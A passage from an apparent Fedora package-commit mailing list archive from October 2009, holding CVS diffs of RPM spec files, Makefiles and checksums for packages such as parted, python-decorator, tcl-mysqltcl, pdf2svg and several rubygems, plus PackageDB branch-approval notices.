 BuildRequires: e2fsprogs-devel
@@ -77,6 +79,8 @@ Parted library, you need to install this
 %patch13 -p1 -b .no-BLKPG
 %patch14 -p1 -b .commit-without-close
 %patch15 -p1 -b .dont-touch-part-nodes
+%patch16 -p1 -b .ped_partition_is_busy
+%patch17 -p1 -b .gpt-big-endian
 
 
 %build
@@ -101,6 +105,7 @@ popd
 %{__rm} -rf %{buildroot}%{_libdir}/*.la
 %{__rm} -rf %{buildroot}%{_infodir}/dir
 %{__rm} -rf %{buildroot}%{_bindir}/label
+%{__rm} -rf %{buildroot}%{_bindir}/disk
 
 %find_lang %{name}
 
@@ -137,6 +142,13 @@ fi
 %{_exec_prefix}/%{_lib}/pkgconfig/libparted.pc
 
 %changelog
+* Tue Oct  6 2009 Hans de Goede <hdegoede at redhat.com> 1.9.0-16
+- Correctly handle GPT labels on big endian machines
+
+* Tue Oct  6 2009 Hans de Goede <hdegoede at redhat.com> 1.9.0-15
+- ped_partition_is_busy() should not throw exceptions (#527035)
+- msdos_partition_is_flag_available() should return 1 for swap flag (#513729)
+
 * Mon Aug 31 2009 Joel Granados <jgranado at redhat.com> 1.9.0-14
 - Patchs for 'commit to os' for linux.  Thx to hansg.
 



From lmacken at fedoraproject.org  Tue Oct  6 21:01:21 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Tue,  6 Oct 2009 21:01:21 +0000 (UTC)
Subject: rpms/python-decorator/EL-5 python-decorator.spec, 1.4, 1.5 sources, 
	1.3, 1.4
Message-ID: <20091006210121.7CDE511C00C1@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-decorator/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28088

Modified Files:
	python-decorator.spec sources 
Log Message:
Revert back to 2.2.0 in favor of a seperate python-decorator3 package



Index: python-decorator.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-decorator/EL-5/python-decorator.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- python-decorator.spec	6 Oct 2009 19:13:24 -0000	1.4
+++ python-decorator.spec	6 Oct 2009 21:01:21 -0000	1.5
@@ -2,14 +2,14 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           python-decorator
-Version:        2.3.2
+Version:        2.2.0
 Release:        1%{?dist}
 Summary:        Module to simplify usage of decorators
 
 Group:          Development/Languages
 License:        BSD
 URL:            http://www.phyast.pitt.edu/~micheles/python/documentation.html
-Source0:        http://www.phyast.pitt.edu/~micheles/python/decorator-%{version}.tar.gz
+Source0:        http://www.phyast.pitt.edu/~micheles/python/decorator-%{version}.zip
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
@@ -25,6 +25,7 @@ etc.  The core of this module is a decor
 %prep
 %setup -q -c -n decorator-%{version}
 chmod a-x *
+%{__sed} -i 's/\r//' README.txt
 
 %build
 %{__python} setup.py build
@@ -46,8 +47,5 @@ export PYTHONPATH=$RPM_BUILD_ROOT/%{pyth
 %{python_sitelib}/*
 
 %changelog
-* Tue Oct 06 2009 Luke Macken <lmacken at redhat.com> - 2.3.2-1
-- Update to 2.3.2
-
 * Thu Dec 20 2007 Toshio Kuratomi <toshio at fedoraproject.org> - 2.2.0-1
 - Initial Fedora Build


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-decorator/EL-5/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	6 Oct 2009 18:58:08 -0000	1.3
+++ sources	6 Oct 2009 21:01:21 -0000	1.4
@@ -1 +1 @@
-c52e22e9d8f5bc0c5d70e990dbe761e0  decorator-2.3.2.tar.gz
+4732d42d7b9f1b19de960a84b57a63da  decorator-2.2.0.zip



From renep at fedoraproject.org  Tue Oct  6 21:02:57 2009
From: renep at fedoraproject.org (Rene Ploetz)
Date: Tue,  6 Oct 2009 21:02:57 +0000 (UTC)
Subject: rpms/tcl-mysqltcl/F-12 import.log, NONE, 1.1 tcl-mysqltcl.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091006210257.AA54B11C00C1@cvs1.fedora.phx.redhat.com>

Author: renep

Update of /cvs/pkgs/rpms/tcl-mysqltcl/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28582/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log tcl-mysqltcl.spec 
Log Message:



--- NEW FILE import.log ---
tcl-mysqltcl-3_05-4_fc11:F-12:tcl-mysqltcl-3.05-4.fc11.src.rpm:1254862945


--- NEW FILE tcl-mysqltcl.spec ---
%bcond_without abi

%{!?tcl_version: %define tcl_version 8.5}
%{!?tcl_sitearch: %define tcl_sitearch tcl%{tcl_version}}

%define real_name mysqltcl

Summary:        MySQL interface for Tcl
Name:           tcl-mysqltcl
Version:        3.05
Release:        4%{?dist}

License:        MIT
Group:          Development/Tools
Source:         http://www.xdobry.de/mysqltcl/%{real_name}-%{version}.tar.gz
URL:            http://www.xdobry.de/mysqltcl
Buildroot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  mysql-devel
BuildRequires:  tcl-devel
%{?with_abi:Requires: tcl(abi) = %{tcl_version}}
Provides:       %{real_name} = %{version}-%{release}

%description
Mysqltcl is an extension to the Tool Command Language (Tcl) that
provides high-level access to a MySQL database server.


%prep
%setup -q -n mysqltcl-%{version}
chmod -x generic/mysqltcl.c
chmod 644 README ChangeLog COPYING AUTHORS README-msqltcl doc/mysqltcl.html

%build
%configure --with-tcl=%{_libdir} \
           --with-mysql-lib=%{_libdir}/mysql \
           --enable-threads \
           --enable-symbols
make %{?_smp_mflags}


%install
rm -Rf %{buildroot}
make DESTDIR=%{buildroot} install

pushd %{buildroot}%{_libdir}
mkdir %{tcl_sitearch}
mv %{real_name}-%{version} %{tcl_sitearch}
popd


%clean
rm -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc README ChangeLog COPYING AUTHORS README-msqltcl doc/mysqltcl.html
%{_libdir}/%{tcl_sitearch}/%{real_name}-%{version}
%{_mandir}/mann/*


%changelog
* Sat Oct 03 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-4
- Removed unnecessary Obsoletes tag

* Tue Sep 21 2009 Rene Ploetz <RenePloetz at gmx.de> 3.05-3
- Updated spec file according to bz #466047 comments 17-19

* Thu Oct 30 2008 Rene Ploetz <RenePloetz at gmx.de> 3.05-2
- Updated spec file

* Thu Oct 7 2008 Rene Ploetz <RenePloetz at gmx.de> 3.05-1
- Initial mysqltcl


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:33:38 -0000	1.1
+++ .cvsignore	6 Oct 2009 21:02:56 -0000	1.2
@@ -0,0 +1 @@
+mysqltcl-3.05.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tcl-mysqltcl/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:33:38 -0000	1.1
+++ sources	6 Oct 2009 21:02:57 -0000	1.2
@@ -0,0 +1 @@
+56a8252bc7407129300b5051549fb2d3  mysqltcl-3.05.tar.gz



From mathstuf at fedoraproject.org  Tue Oct  6 21:10:53 2009
From: mathstuf at fedoraproject.org (Ben Boeckel)
Date: Tue,  6 Oct 2009 21:10:53 +0000 (UTC)
Subject: rpms/pdf2svg/devel pdf2svg.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091006211053.3757111C02A2@cvs1.fedora.phx.redhat.com>

Author: mathstuf

Update of /cvs/pkgs/rpms/pdf2svg/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31836

Modified Files:
	.cvsignore sources 
Added Files:
	pdf2svg.spec 
Log Message:
Initial commit


--- NEW FILE pdf2svg.spec ---
Name:           pdf2svg
Version:        0.2.1
Release:        2%{?dist}
Summary:        Small tool to convert PDF files into SVG

Group:          Applications/File
License:        GPLv2+
URL:            http://www.cityinthesky.co.uk/pdf2svg.html
Source0:        http://www.cityinthesky.co.uk/files/pdf2svg-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  poppler-glib-devel
BuildRequires:  cairo-devel

%description
A small tool to convert PDF files into SVG using poppler and cairo.


%prep
%setup -q


%build
%configure
make %{?_smp_mflags}


%install
rm -rf %{buildroot}
make install INSTALL="install -p" DESTDIR=%{buildroot}


%clean
rm -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc COPYING AUTHORS ChangeLog
%{_bindir}/pdf2svg


%changelog
* Sun Oct 4 2009 Ben Boeckel <MathStuf at gmail.com> 0.2.1-2
- Fix things for review

* Wed Sep 30 2009 Ben Boeckel <MathStuf at gmail.com> 0.2.1-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pdf2svg/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:27:18 -0000	1.1
+++ .cvsignore	6 Oct 2009 21:10:51 -0000	1.2
@@ -0,0 +1 @@
+pdf2svg-0.2.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pdf2svg/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:27:18 -0000	1.1
+++ sources	6 Oct 2009 21:10:51 -0000	1.2
@@ -0,0 +1 @@
+59b3b9768166f73b77215e95d91f0a9d  pdf2svg-0.2.1.tar.gz



From mathstuf at fedoraproject.org  Tue Oct  6 21:20:04 2009
From: mathstuf at fedoraproject.org (Ben Boeckel)
Date: Tue,  6 Oct 2009 21:20:04 +0000 (UTC)
Subject: rpms/pdf2svg/F-12 pdf2svg.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091006212004.C9DAB11C02A0@cvs1.fedora.phx.redhat.com>

Author: mathstuf

Update of /cvs/pkgs/rpms/pdf2svg/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3502

Modified Files:
	.cvsignore sources 
Added Files:
	pdf2svg.spec 
Log Message:
Initial commit


--- NEW FILE pdf2svg.spec ---
Name:           pdf2svg
Version:        0.2.1
Release:        2%{?dist}
Summary:        Small tool to convert PDF files into SVG

Group:          Applications/File
License:        GPLv2+
URL:            http://www.cityinthesky.co.uk/pdf2svg.html
Source0:        http://www.cityinthesky.co.uk/files/pdf2svg-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  poppler-glib-devel
BuildRequires:  cairo-devel

%description
A small tool to convert PDF files into SVG using poppler and cairo.


%prep
%setup -q


%build
%configure
make %{?_smp_mflags}


%install
rm -rf %{buildroot}
make install INSTALL="install -p" DESTDIR=%{buildroot}


%clean
rm -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc COPYING AUTHORS ChangeLog
%{_bindir}/pdf2svg


%changelog
* Sun Oct 4 2009 Ben Boeckel <MathStuf at gmail.com> 0.2.1-2
- Fix things for review

* Wed Sep 30 2009 Ben Boeckel <MathStuf at gmail.com> 0.2.1-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pdf2svg/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:27:18 -0000	1.1
+++ .cvsignore	6 Oct 2009 21:20:01 -0000	1.2
@@ -0,0 +1 @@
+pdf2svg-0.2.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pdf2svg/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:27:18 -0000	1.1
+++ sources	6 Oct 2009 21:20:02 -0000	1.2
@@ -0,0 +1 @@
+59b3b9768166f73b77215e95d91f0a9d  pdf2svg-0.2.1.tar.gz



From mathstuf at fedoraproject.org  Tue Oct  6 21:23:49 2009
From: mathstuf at fedoraproject.org (Ben Boeckel)
Date: Tue,  6 Oct 2009 21:23:49 +0000 (UTC)
Subject: rpms/pdf2svg/F-11 pdf2svg.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091006212349.B21E611C00C1@cvs1.fedora.phx.redhat.com>

Author: mathstuf

Update of /cvs/pkgs/rpms/pdf2svg/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4779

Modified Files:
	.cvsignore sources 
Added Files:
	pdf2svg.spec 
Log Message:
Initial commit


--- NEW FILE pdf2svg.spec ---
Name:           pdf2svg
Version:        0.2.1
Release:        2%{?dist}
Summary:        Small tool to convert PDF files into SVG

Group:          Applications/File
License:        GPLv2+
URL:            http://www.cityinthesky.co.uk/pdf2svg.html
Source0:        http://www.cityinthesky.co.uk/files/pdf2svg-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  poppler-glib-devel
BuildRequires:  cairo-devel

%description
A small tool to convert PDF files into SVG using poppler and cairo.


%prep
%setup -q


%build
%configure
make %{?_smp_mflags}


%install
rm -rf %{buildroot}
make install INSTALL="install -p" DESTDIR=%{buildroot}


%clean
rm -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc COPYING AUTHORS ChangeLog
%{_bindir}/pdf2svg


%changelog
* Sun Oct 4 2009 Ben Boeckel <MathStuf at gmail.com> 0.2.1-2
- Fix things for review

* Wed Sep 30 2009 Ben Boeckel <MathStuf at gmail.com> 0.2.1-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pdf2svg/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:27:18 -0000	1.1
+++ .cvsignore	6 Oct 2009 21:23:48 -0000	1.2
@@ -0,0 +1 @@
+pdf2svg-0.2.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pdf2svg/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:27:18 -0000	1.1
+++ sources	6 Oct 2009 21:23:48 -0000	1.2
@@ -0,0 +1 @@
+59b3b9768166f73b77215e95d91f0a9d  pdf2svg-0.2.1.tar.gz



From pkgdb at fedoraproject.org  Tue Oct  6 21:24:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 21:24:45 +0000
Subject: [pkgdb] rubygem-systemu was added for mkent
Message-ID: <20091006212445.4049D10F892@bastion2.fedora.phx.redhat.com>

kevin has added Package rubygem-systemu with summary Multi-platform command execution and capture
kevin has approved Package rubygem-systemu
kevin has added a Fedora devel branch for rubygem-systemu with an owner of mkent
kevin has approved rubygem-systemu in Fedora devel
kevin has approved Package rubygem-systemu
kevin has set commit to Approved for 107427 on rubygem-systemu (Fedora devel)
kevin has set checkout to Approved for 107427 on rubygem-systemu (Fedora devel)
kevin has set build to Approved for 107427 on rubygem-systemu (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-systemu



From pkgdb at fedoraproject.org  Tue Oct  6 21:24:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 21:24:46 +0000
Subject: [pkgdb] rubygem-systemu summary updated by kevin
Message-ID: <20091006212446.6271A10F89C@bastion2.fedora.phx.redhat.com>

kevin set package rubygem-systemu summary to Multi-platform command execution and capture

To make changes to this package see:
  /pkgdb/packages/name/rubygem-systemu



From pkgdb at fedoraproject.org  Tue Oct  6 21:24:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 21:24:46 +0000
Subject: [pkgdb] rubygem-systemu (Fedora, 11) updated by kevin
Message-ID: <20091006212446.74E2D10F871@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for rubygem-systemu
kevin has set commit to Approved for 107427 on rubygem-systemu (Fedora 11)
kevin has set checkout to Approved for 107427 on rubygem-systemu (Fedora 11)
kevin has set build to Approved for 107427 on rubygem-systemu (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-systemu



From pkgdb at fedoraproject.org  Tue Oct  6 21:24:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 21:24:46 +0000
Subject: [pkgdb] rubygem-systemu (Fedora, 11) updated by kevin
Message-ID: <20091006212446.9BD9410F8A8@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for rubygem-systemu
kevin has set commit to Approved for 107427 on rubygem-systemu (Fedora 12)
kevin has set checkout to Approved for 107427 on rubygem-systemu (Fedora 12)
kevin has set build to Approved for 107427 on rubygem-systemu (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-systemu



From kevin at fedoraproject.org  Tue Oct  6 21:25:34 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 21:25:34 +0000 (UTC)
Subject: rpms/rubygem-systemu/devel - New directory
Message-ID: <20091006212534.955CF11C0297@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-systemu/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsfh6309/rpms/rubygem-systemu/devel

Log Message:
Directory /cvs/pkgs/rpms/rubygem-systemu/devel added to the repository




From kevin at fedoraproject.org  Tue Oct  6 21:25:34 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 21:25:34 +0000 (UTC)
Subject: rpms/rubygem-systemu - New directory
Message-ID: <20091006212534.5406D11C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-systemu
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsfh6309/rpms/rubygem-systemu

Log Message:
Directory /cvs/pkgs/rpms/rubygem-systemu added to the repository




From kevin at fedoraproject.org  Tue Oct  6 21:25:50 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 21:25:50 +0000 (UTC)
Subject: rpms/rubygem-systemu Makefile,NONE,1.1
Message-ID: <20091006212550.0533011C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-systemu
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsfh6309/rpms/rubygem-systemu

Added Files:
	Makefile 
Log Message:
Setup of module rubygem-systemu


--- NEW FILE Makefile ---
# Top level Makefile for module rubygem-systemu
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Tue Oct  6 21:25:50 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 21:25:50 +0000 (UTC)
Subject: rpms/rubygem-systemu/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091006212550.C3A4711C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-systemu/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsfh6309/rpms/rubygem-systemu/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module rubygem-systemu


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: rubygem-systemu
# $Id: Makefile,v 1.1 2009/10/06 21:25:50 kevin Exp $
NAME := rubygem-systemu
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Tue Oct  6 21:26:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 21:26:14 +0000
Subject: [pkgdb] rubygem-extlib was added for mkent
Message-ID: <20091006212614.F416A10F890@bastion2.fedora.phx.redhat.com>

kevin has added Package rubygem-extlib with summary Support library for DataMapper and Merb
kevin has approved Package rubygem-extlib
kevin has added a Fedora devel branch for rubygem-extlib with an owner of mkent
kevin has approved rubygem-extlib in Fedora devel
kevin has approved Package rubygem-extlib
kevin has set commit to Approved for 107427 on rubygem-extlib (Fedora devel)
kevin has set checkout to Approved for 107427 on rubygem-extlib (Fedora devel)
kevin has set build to Approved for 107427 on rubygem-extlib (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-extlib



From pkgdb at fedoraproject.org  Tue Oct  6 21:26:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 21:26:16 +0000
Subject: [pkgdb] rubygem-extlib summary updated by kevin
Message-ID: <20091006212616.84FF110F871@bastion2.fedora.phx.redhat.com>

kevin set package rubygem-extlib summary to Support library for DataMapper and Merb

To make changes to this package see:
  /pkgdb/packages/name/rubygem-extlib



From pkgdb at fedoraproject.org  Tue Oct  6 21:26:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 21:26:16 +0000
Subject: [pkgdb] rubygem-extlib (Fedora, 11) updated by kevin
Message-ID: <20091006212616.CC6CC10F8A9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for rubygem-extlib
kevin has set commit to Approved for 107427 on rubygem-extlib (Fedora 11)
kevin has set checkout to Approved for 107427 on rubygem-extlib (Fedora 11)
kevin has set build to Approved for 107427 on rubygem-extlib (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-extlib



From pkgdb at fedoraproject.org  Tue Oct  6 21:26:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 21:26:16 +0000
Subject: [pkgdb] rubygem-extlib (Fedora, 11) updated by kevin
Message-ID: <20091006212616.EE39710F8A2@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for rubygem-extlib
kevin has set commit to Approved for 107427 on rubygem-extlib (Fedora 12)
kevin has set checkout to Approved for 107427 on rubygem-extlib (Fedora 12)
kevin has set build to Approved for 107427 on rubygem-extlib (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-extlib



From kevin at fedoraproject.org  Tue Oct  6 21:26:25 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 21:26:25 +0000 (UTC)
Subject: rpms/rubygem-extlib - New directory
Message-ID: <20091006212625.1636E11C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-extlib
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvshm7220/rpms/rubygem-extlib

Log Message:
Directory /cvs/pkgs/rpms/rubygem-extlib added to the repository




From kevin at fedoraproject.org  Tue Oct  6 21:26:25 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 21:26:25 +0000 (UTC)
Subject: rpms/rubygem-extlib/devel - New directory
Message-ID: <20091006212625.448CF11C029A@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-extlib/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvshm7220/rpms/rubygem-extlib/devel

Log Message:
Directory /cvs/pkgs/rpms/rubygem-extlib/devel added to the repository




From kevin at fedoraproject.org  Tue Oct  6 21:26:32 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 21:26:32 +0000 (UTC)
Subject: rpms/rubygem-extlib Makefile,NONE,1.1
Message-ID: <20091006212632.AD76811C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-extlib
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvshm7220/rpms/rubygem-extlib

Added Files:
	Makefile 
Log Message:
Setup of module rubygem-extlib


--- NEW FILE Makefile ---
# Top level Makefile for module rubygem-extlib
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Tue Oct  6 21:26:32 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 21:26:32 +0000 (UTC)
Subject: rpms/rubygem-extlib/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091006212632.E087111C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-extlib/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvshm7220/rpms/rubygem-extlib/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module rubygem-extlib


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: rubygem-extlib
# $Id: Makefile,v 1.1 2009/10/06 21:26:32 kevin Exp $
NAME := rubygem-extlib
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Tue Oct  6 21:28:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 21:28:18 +0000
Subject: [pkgdb] wb_builder was added for chitlesh
Message-ID: <20091006212818.5689610F871@bastion2.fedora.phx.redhat.com>

kevin has added Package wb_builder with summary Wishbone Bus Builder
kevin has approved Package wb_builder
kevin has added a Fedora devel branch for wb_builder with an owner of chitlesh
kevin has approved wb_builder in Fedora devel
kevin has approved Package wb_builder
kevin has set commit to Approved for 107427 on wb_builder (Fedora devel)
kevin has set checkout to Approved for 107427 on wb_builder (Fedora devel)
kevin has set build to Approved for 107427 on wb_builder (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/wb_builder



From pkgdb at fedoraproject.org  Tue Oct  6 21:28:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 21:28:20 +0000
Subject: [pkgdb] wb_builder summary updated by kevin
Message-ID: <20091006212820.72A0810F892@bastion2.fedora.phx.redhat.com>

kevin set package wb_builder summary to Wishbone Bus Builder

To make changes to this package see:
  /pkgdb/packages/name/wb_builder



From pkgdb at fedoraproject.org  Tue Oct  6 21:28:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 21:28:20 +0000
Subject: [pkgdb] wb_builder (Fedora EPEL, 5) updated by kevin
Message-ID: <20091006212820.8982A10F89C@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for wb_builder
kevin has set commit to Approved for 107427 on wb_builder (Fedora 11)
kevin has set checkout to Approved for 107427 on wb_builder (Fedora 11)
kevin has set build to Approved for 107427 on wb_builder (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/wb_builder



From pkgdb at fedoraproject.org  Tue Oct  6 21:28:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 21:28:20 +0000
Subject: [pkgdb] wb_builder (Fedora EPEL, 5) updated by kevin
Message-ID: <20091006212820.A191010F8A3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for wb_builder
kevin has set commit to Approved for 107427 on wb_builder (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on wb_builder (Fedora EPEL 5)
kevin has set build to Approved for 107427 on wb_builder (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/wb_builder



From pkgdb at fedoraproject.org  Tue Oct  6 21:28:20 2009
